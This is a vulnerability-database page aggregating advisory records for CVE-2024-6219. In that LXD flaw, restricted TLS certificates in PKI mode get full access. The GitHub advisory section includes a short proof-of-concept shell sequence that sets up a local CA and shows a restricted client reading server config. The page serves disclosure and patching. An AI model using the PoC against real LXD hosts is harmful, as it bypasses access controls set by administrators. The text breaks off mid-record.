Vulnerability-Lookup

CVE-2024-6219 (GCVE-0-2024-6219)

Vulnerability from cvelistv5 – Published: 2024-12-05 23:13 – Updated: 2025-08-28 13:29

Summary

Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.

Severity

3.8 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-12-06 16:39 UTC

CWE

CWE-295 - Improper Certificate Validation

Assigner

canonical mitre root

References

2 references

URL	Tags
https://github.com/canonical/lxd/security/advisor…	issue-tracking
https://www.cve.org/CVERecord?id=CVE-2024-6219	issue-tracking

Impacted products

1 product

Vendor	Product	Version	CPE status
Canonical Ltd.	LXD	Affected: 0 , < 5.21.1 (semver)	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-6219",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-06T16:39:00.858631Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-295",
                "description": "CWE-295 Improper Certificate Validation",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-08-28T13:29:18.834Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "packageName": "lxd",
          "platforms": [
            "Linux"
          ],
          "product": "LXD",
          "repo": "https://github.com/canonical/lxd",
          "vendor": "Canonical Ltd.",
          "versions": [
            {
              "lessThan": "5.21.1",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Mark Laing discovered in LXD\u0027s PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 3.8,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-12-05T23:13:19.635Z",
        "orgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
        "shortName": "canonical"
      },
      "references": [
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-6219"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
    "assignerShortName": "canonical",
    "cveId": "CVE-2024-6219",
    "datePublished": "2024-12-05T23:13:19.635Z",
    "dateReserved": "2024-06-20T17:41:42.692Z",
    "dateUpdated": "2025-08-28T13:29:18.834Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2024-6219",
      "date": "2026-09-16",
      "epss": "0.00157",
      "percentile": "0.05262"
    },
    "fkie_nvd": {
      "descriptions": "[{\"lang\": \"en\", \"value\": \"Mark Laing discovered in LXD\u0027s PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.\"}, {\"lang\": \"es\", \"value\": \"Mark Laing descubri\\u00f3 en el modo PKI de LXD, hasta la versi\\u00f3n 5.21.1, que se pod\\u00eda agregar un certificado restringido al almac\\u00e9n de confianza sin respetar sus restricciones.\"}]",
      "id": "CVE-2024-6219",
      "lastModified": "2024-12-06T00:15:04.530",
      "metrics": "{\"cvssMetricV31\": [{\"source\": \"security@ubuntu.com\", \"type\": \"Secondary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N\", \"baseScore\": 3.8, \"baseSeverity\": \"LOW\", \"attackVector\": \"LOCAL\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"LOW\", \"userInteraction\": \"NONE\", \"scope\": \"CHANGED\", \"confidentialityImpact\": \"LOW\", \"integrityImpact\": \"NONE\", \"availabilityImpact\": \"NONE\"}, \"exploitabilityScore\": 2.0, \"impactScore\": 1.4}]}",
      "published": "2024-12-06T00:15:04.530",
      "references": "[{\"url\": \"https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf\", \"source\": \"security@ubuntu.com\"}, {\"url\": \"https://www.cve.org/CVERecord?id=CVE-2024-6219\", \"source\": \"security@ubuntu.com\"}]",
      "sourceIdentifier": "security@ubuntu.com",
      "vulnStatus": "Awaiting Analysis"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2024-6219\",\"sourceIdentifier\":\"security@ubuntu.com\",\"published\":\"2024-12-06T00:15:04.530\",\"lastModified\":\"2026-06-17T08:17:32.460\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Mark Laing discovered in LXD\u0027s PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.\"},{\"lang\":\"es\",\"value\":\"Mark Laing descubri\u00f3 en el modo PKI de LXD, hasta la versi\u00f3n 5.21.1, que se pod\u00eda agregar un certificado restringido al almac\u00e9n de confianza sin respetar sus restricciones.\"}],\"affected\":[{\"source\":\"security@ubuntu.com\",\"affectedData\":[{\"vendor\":\"Canonical Ltd.\",\"product\":\"LXD\",\"packageName\":\"lxd\",\"platforms\":[\"Linux\"],\"repo\":\"https://github.com/canonical/lxd\",\"versions\":[{\"version\":\"0\",\"lessThan\":\"5.21.1\",\"versionType\":\"semver\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security@ubuntu.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N\",\"baseScore\":3.8,\"baseSeverity\":\"LOW\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.0,\"impactScore\":1.4}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2024-12-06T16:39:00.858631Z\",\"id\":\"CVE-2024-6219\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-295\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"5.21.1\",\"matchCriteriaId\":\"8B34F54D-BABC-44EF-A8A8-5DE6DFF21B7F\"}]}]}],\"references\":[{\"url\":\"https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf\",\"source\":\"security@ubuntu.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://www.cve.org/CVERecord?id=CVE-2024-6219\",\"source\":\"security@ubuntu.com\",\"tags\":[\"Third Party Advisory\"]}]}}",
    "redhat_vex": {
      "current_release_date": "2025-05-28T21:36:47+00:00",
      "cve": "CVE-2024-6219",
      "id": "CVE-2024-6219",
      "initial_release_date": "2024-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "CVE-2024-6219",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2024/cve-2024-6219.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "low",
      "current_release_date": "2026-08-22T01:51:47Z",
      "cve": "CVE-2024-6219",
      "id": "CVE-2024-6219",
      "initial_release_date": "2024-12-12T07:17:47Z",
      "product_status:recommended": "4",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2024-6219",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2024-6219.json",
      "version": "13"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2024-6219\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-12-06T16:39:00.858631Z\"}}}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-295\", \"description\": \"CWE-295 Improper Certificate Validation\"}]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-12-06T16:41:47.639Z\"}}], \"cna\": {\"metrics\": [{\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 3.8, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"LOW\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"repo\": \"https://github.com/canonical/lxd\", \"vendor\": \"Canonical Ltd.\", \"product\": \"LXD\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"5.21.1\", \"versionType\": \"semver\"}], \"platforms\": [\"Linux\"], \"packageName\": \"lxd\"}], \"references\": [{\"url\": \"https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf\", \"tags\": [\"issue-tracking\"]}, {\"url\": \"https://www.cve.org/CVERecord?id=CVE-2024-6219\", \"tags\": [\"issue-tracking\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Mark Laing discovered in LXD\u0027s PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.\"}], \"providerMetadata\": {\"orgId\": \"cc1ad9ee-3454-478d-9317-d3e869d708bc\", \"shortName\": \"canonical\", \"dateUpdated\": \"2024-12-05T23:13:19.635Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2024-6219\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-08-28T13:29:18.834Z\", \"dateReserved\": \"2024-06-20T17:41:42.692Z\", \"assignerOrgId\": \"cc1ad9ee-3454-478d-9317-d3e869d708bc\", \"datePublished\": \"2024-12-05T23:13:19.635Z\", \"assignerShortName\": \"canonical\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2024-6219

Vulnerability from fkie_nvd - Published: 2024-12-06 00:15 - Updated: 2026-06-17 08:17

Severity

3.8 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Summary

Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.

References

	URL	Tags
	security@ubuntu.com	https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf	Exploit, Vendor Advisory
	security@ubuntu.com	https://www.cve.org/CVERecord?id=CVE-2024-6219	Third Party Advisory

Impacted products

	Vendor	Product	Version
	canonical	lxd	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "packageName": "lxd",
          "platforms": [
            "Linux"
          ],
          "product": "LXD",
          "repo": "https://github.com/canonical/lxd",
          "vendor": "Canonical Ltd.",
          "versions": [
            {
              "lessThan": "5.21.1",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "security@ubuntu.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "8B34F54D-BABC-44EF-A8A8-5DE6DFF21B7F",
              "versionEndExcluding": "5.21.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mark Laing discovered in LXD\u0027s PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured."
    },
    {
      "lang": "es",
      "value": "Mark Laing descubri\u00f3 en el modo PKI de LXD, hasta la versi\u00f3n 5.21.1, que se pod\u00eda agregar un certificado restringido al almac\u00e9n de confianza sin respetar sus restricciones."
    }
  ],
  "id": "CVE-2024-6219",
  "lastModified": "2026-06-17T08:17:32.460",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 3.8,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 1.4,
        "source": "security@ubuntu.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2024-6219",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-12-06T16:39:00.858631Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2024-12-06T00:15:04.530",
  "references": [
    {
      "source": "security@ubuntu.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf"
    },
    {
      "source": "security@ubuntu.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6219"
    }
  ],
  "sourceIdentifier": "security@ubuntu.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-295"
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "type": "Secondary"
    }
  ]
}

GHSA-JPMC-7P9C-4RXF

Vulnerability from github – Published: 2024-12-09 22:43 – Updated: 2026-06-26 19:31

Summary

lxd has a restricted TLS certificate privilege escalation when in PKI mode

Details

Summary

If a server.ca file is present in LXD_DIR at LXD start up, LXD is in "PKI mode". In this mode, all clients must have certificates that have been signed by the CA.

The LXD configuration option core.trust_ca_certificates defaults to false. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.

When a restricted certificate is added to the trust store in this mode, it's restrictions are not honoured, and the client has full access to LXD.

Details

When authorization was refactored to allow for generalisation (at the time for TLS, RBAC, and OpenFGA, see https://github.com/canonical/lxd/pull/12313), PKI mode did not account for the core.trust_ca_certificates configuration option. When this option is enabled, all CA-signed client certificates are given full access to LXD. This cherry-pick from Incus was added to LXD to fix the issue.

The cherry-pick fixed the immediate issue and allowed full access to LXD for CA-signed client certificates when core.trust_ca_certificates is enabled, but did not consider the behaviour of LXD when core.trust_ca_certificates is disabled.

When core.trust_ca_certificates is false, restrictions that are applied to a certificate should be honoured. Instead, they are being ignored due to the presence of a server.ca file in LXD_DIR.

PoC

# Install/initialize LXD
$ snap install lxd --channel 5.21/stable
$ lxd init --auto
$ lxc config set core.https_address=127.0.0.1:8443

# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa
$ cp -R /usr/share/easy-rsa "/tmp/pki"
$ export EASYRSA_KEY_SIZE=4096
$ cd /tmp/pki
$ ./easyrsa init-pki
$ echo "lxd" | ./easyrsa build-ca nopass
$ ./easyrsa build-client-full lxd-client nopass
$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca
$ cp pki/issued/lxd-client.crt ~/snap/lxd/common/config/client.crt
$ cp pki/private/lxd-client.key ~/snap/lxd/common/config/client.key

# Restart daemon.
$ systemctl reload snap.lxd.daemon

# Add a restricted certificate to the trust store.
$ token="$(lxc config trust add --name ca-test --quiet --restricted)"
$ lxc remote add tls "${token}"

# Our client has a CA-signed certificate, but it is restricted, so the client should not be able to view server config.
$ lxc config get tls: core.https_address
127.0.0.1:8443

Impact

I believe this vulnerability is low impact because PKI mode is: 1. Not the standard or recommended mode of operation for LXD. 2. While core.trust_ca_certificates defaults to false, we believe that users who enable PKI mode will generally have core.trust_ca_certificates enabled to allow for passwordless PKI with CRL revocation (see https://github.com/canonical/lxd/issues/3832). When this mode is enabled, all clients with CA-signed certificates have root access* anyway.

*Note: If a restricted certificate is added before core.trust_ca_certificates is enabled, the certificate becomes unrestricted. We believe this was the original intention of the PR, but this should be changed to disallow any unintended permission change.

Severity

3.8 (Low)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240403103450-0e7f2b5bf4d2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-09T22:43:13Z",
    "nvd_published_at": "2024-12-06T00:15:04Z",
    "severity": "LOW"
  },
  "details": "### Summary\nIf a `server.ca` file is present in `LXD_DIR` at LXD start up, LXD is in \"PKI mode\". In this mode, all clients must have certificates that have been signed by the CA. \n\nThe LXD configuration option `core.trust_ca_certificates` defaults to `false`. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.\n\nWhen a restricted certificate is added to the trust store in this mode, it\u0027s restrictions are not honoured, and the client has full access to LXD.\n\n### Details\nWhen authorization was refactored to allow for generalisation (at the time for TLS, RBAC, and OpenFGA, see https://github.com/canonical/lxd/pull/12313), PKI mode did not account for the `core.trust_ca_certificates` configuration option. When this option is enabled, all CA-signed client certificates are given full access to LXD. [This cherry-pick from Incus](https://github.com/canonical/lxd/pull/12513/commits/5cdc9a35b9c51e981b1e70330bde0413ccacc7fd) was added to LXD to fix the issue. \n\nThe cherry-pick fixed the immediate issue and allowed full access to LXD for CA-signed client certificates when `core.trust_ca_certificates` is enabled, but did not consider the behaviour of LXD when `core.trust_ca_certificates` is disabled. \n\nWhen `core.trust_ca_certificates` is false, restrictions that are applied to a certificate should be honoured. Instead, they are being ignored due to the presence of a `server.ca` file in `LXD_DIR`.\n\n### PoC\n```\n# Install/initialize LXD\n$ snap install lxd --channel 5.21/stable\n$ lxd init --auto\n$ lxc config set core.https_address=127.0.0.1:8443\n\n# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa\n$ cp -R /usr/share/easy-rsa \"/tmp/pki\"\n$ export EASYRSA_KEY_SIZE=4096\n$ cd /tmp/pki\n$ ./easyrsa init-pki\n$ echo \"lxd\" | ./easyrsa build-ca nopass\n$ ./easyrsa build-client-full lxd-client nopass\n$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca\n$ cp pki/issued/lxd-client.crt ~/snap/lxd/common/config/client.crt\n$ cp pki/private/lxd-client.key ~/snap/lxd/common/config/client.key\n\n# Restart daemon.\n$ systemctl reload snap.lxd.daemon\n\n# Add a restricted certificate to the trust store.\n$ token=\"$(lxc config trust add --name ca-test --quiet --restricted)\"\n$ lxc remote add tls \"${token}\"\n\n# Our client has a CA-signed certificate, but it is restricted, so the client should not be able to view server config.\n$ lxc config get tls: core.https_address\n127.0.0.1:8443\n```\n\n### Impact\nI believe this vulnerability is low impact because PKI mode is:\n1. Not the standard or recommended mode of operation for LXD.\n2. While `core.trust_ca_certificates` defaults to false, we believe that users who enable PKI mode will generally have `core.trust_ca_certificates` enabled to allow for passwordless PKI with CRL revocation (see https://github.com/canonical/lxd/issues/3832). When this mode is enabled, all clients with CA-signed certificates have root access* anyway.\n\n*Note: If a restricted certificate is added before `core.trust_ca_certificates` is enabled, the certificate becomes unrestricted. We believe this was the original intention of the PR, but this should be changed to disallow any unintended permission change.",
  "id": "GHSA-jpmc-7p9c-4rxf",
  "modified": "2026-06-26T19:31:18Z",
  "published": "2024-12-09T22:43:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-jpmc-7p9c-4rxf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6219"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/pull/12313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/commit/5cdc9a35b9c51e981b1e70330bde0413ccacc7fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3313"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6219"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lxd has a restricted TLS certificate privilege escalation when in PKI mode"
}

OPENSUSE-SU-2024:14567-1

Vulnerability from csaf_opensuse - Published: 2024-12-11 00:00 - Updated: 2024-12-11 00:00

Summary

govulncheck-vulndb-0.0.20241209T183251-1.1 on GA media

Severity

Moderate

Scope

21 vulnerabilities in this advisory, including CVE-2024-6219.

CVE-2024-6219

Recommended: 4 products

Open the full advisory

ubuntu-cve-2024-6219

Vulnerability from osv_ubuntu

Published

2024-12-06 00:15

Modified

2026-06-19 00:12

Summary

Details

Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.

Severity

3.8 (Low)


                    
                      CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

3.8 (Low)


                    
                      CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2024-6219	REPORT
	https://www.cve.org/CVERecord?id=CVE-2024-6219	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-lxc-lxd-dev",
            "binary_version": "2.0.11-0ubuntu1~16.04.4+esm3"
          },
          {
            "binary_name": "lxc2",
            "binary_version": "2.0.11-0ubuntu1~16.04.4+esm3"
          },
          {
            "binary_name": "lxd",
            "binary_version": "2.0.11-0ubuntu1~16.04.4+esm3"
          },
          {
            "binary_name": "lxd-client",
            "binary_version": "2.0.11-0ubuntu1~16.04.4+esm3"
          },
          {
            "binary_name": "lxd-tools",
            "binary_version": "2.0.11-0ubuntu1~16.04.4+esm3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:16.04:LTS",
        "name": "lxd",
        "purl": "pkg:deb/ubuntu/lxd@2.0.11-0ubuntu1~16.04.4+esm3?arch=source\u0026distro=esm-infra-legacy/xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.20-0ubuntu4",
        "0.21-0ubuntu3",
        "0.21-0ubuntu5",
        "0.22-0ubuntu1",
        "0.22-0ubuntu2",
        "0.23-0ubuntu1",
        "0.23-0ubuntu2",
        "0.23-0ubuntu3",
        "0.24-0ubuntu2",
        "0.24-0ubuntu3",
        "0.24-0ubuntu4",
        "0.25-0ubuntu1",
        "0.26-0ubuntu2",
        "0.26-0ubuntu3",
        "0.27-0ubuntu1",
        "0.27-0ubuntu2",
        "2.0.0~beta1-0ubuntu3",
        "2.0.0~beta1-0ubuntu4",
        "2.0.0~beta2-0ubuntu1",
        "2.0.0~beta2-0ubuntu2",
        "2.0.0~beta3-0ubuntu1",
        "2.0.0~beta3-0ubuntu2",
        "2.0.0~beta3-0ubuntu3",
        "2.0.0~beta3-0ubuntu4",
        "2.0.0~beta4-0ubuntu1",
        "2.0.0~beta4-0ubuntu2",
        "2.0.0~beta4-0ubuntu3",
        "2.0.0~beta4-0ubuntu4",
        "2.0.0~beta4-0ubuntu5",
        "2.0.0~beta4-0ubuntu6",
        "2.0.0~beta4-0ubuntu7",
        "2.0.0~rc1-0ubuntu1",
        "2.0.0~rc1-0ubuntu2",
        "2.0.0~rc1-0ubuntu3",
        "2.0.0~rc2-0ubuntu2",
        "2.0.0~rc2-0ubuntu3",
        "2.0.0~rc3-0ubuntu1",
        "2.0.0~rc3-0ubuntu2",
        "2.0.0~rc3-0ubuntu3",
        "2.0.0~rc3-0ubuntu4",
        "2.0.0~rc4-0ubuntu1",
        "2.0.0~rc5-0ubuntu1",
        "2.0.0~rc6-0ubuntu1",
        "2.0.0~rc6-0ubuntu2",
        "2.0.0~rc7-0ubuntu1",
        "2.0.0~rc7-0ubuntu2",
        "2.0.0~rc8-0ubuntu1",
        "2.0.0~rc8-0ubuntu2",
        "2.0.0~rc8-0ubuntu3",
        "2.0.0~rc8-0ubuntu5",
        "2.0.0~rc8-0ubuntu6",
        "2.0.0~rc8-0ubuntu7",
        "2.0.0~rc9-0ubuntu2",
        "2.0.0~rc9-0ubuntu3",
        "2.0.0~rc9-0ubuntu4",
        "2.0.0~rc9-0ubuntu5",
        "2.0.0-0ubuntu1",
        "2.0.0-0ubuntu2",
        "2.0.0-0ubuntu3",
        "2.0.0-0ubuntu4",
        "2.0.1-0ubuntu1~16.04.1",
        "2.0.2-0ubuntu1~16.04.1",
        "2.0.3-0ubuntu1~ubuntu16.04.2",
        "2.0.4-0ubuntu1~ubuntu16.04.1",
        "2.0.5-0ubuntu1~ubuntu16.04.1",
        "2.0.8-0ubuntu1~ubuntu16.04.1",
        "2.0.8-0ubuntu1~ubuntu16.04.2",
        "2.0.9-0ubuntu1~16.04.1",
        "2.0.9-0ubuntu1~16.04.2",
        "2.0.10-0ubuntu1~16.04.1",
        "2.0.10-0ubuntu1~16.04.2",
        "2.0.11-0ubuntu1~16.04.2",
        "2.0.11-0ubuntu1~16.04.4",
        "2.0.11-0ubuntu1~16.04.4+esm1",
        "2.0.11-0ubuntu1~16.04.4+esm2",
        "2.0.11-0ubuntu1~16.04.4+esm3"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "lxd",
            "binary_version": "3.0.3-0ubuntu1~18.04.2+esm3"
          },
          {
            "binary_name": "lxd-client",
            "binary_version": "3.0.3-0ubuntu1~18.04.2+esm3"
          },
          {
            "binary_name": "lxd-tools",
            "binary_version": "3.0.3-0ubuntu1~18.04.2+esm3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:18.04:LTS",
        "name": "lxd",
        "purl": "pkg:deb/ubuntu/lxd@3.0.3-0ubuntu1~18.04.2+esm3?arch=source\u0026distro=esm-infra/bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.18-0ubuntu6",
        "2.19-0ubuntu1",
        "2.20-0ubuntu3",
        "2.20-0ubuntu4",
        "2.21-0ubuntu1",
        "2.21-0ubuntu2",
        "2.21-0ubuntu3",
        "2.21-0ubuntu4",
        "3.0.0~beta2-0ubuntu3",
        "3.0.0~beta3-0ubuntu3",
        "3.0.0~beta5-0ubuntu2",
        "3.0.0~beta7-0ubuntu1",
        "3.0.0-0ubuntu1",
        "3.0.0-0ubuntu2",
        "3.0.0-0ubuntu3",
        "3.0.0-0ubuntu4",
        "3.0.1-0ubuntu1~18.04.1",
        "3.0.2-0ubuntu1~18.04.1",
        "3.0.3-0ubuntu1~18.04.1",
        "3.0.3-0ubuntu1~18.04.2",
        "3.0.3-0ubuntu1~18.04.2+esm1",
        "3.0.3-0ubuntu1~18.04.2+esm2",
        "3.0.3-0ubuntu1~18.04.2+esm3"
      ]
    },
    {
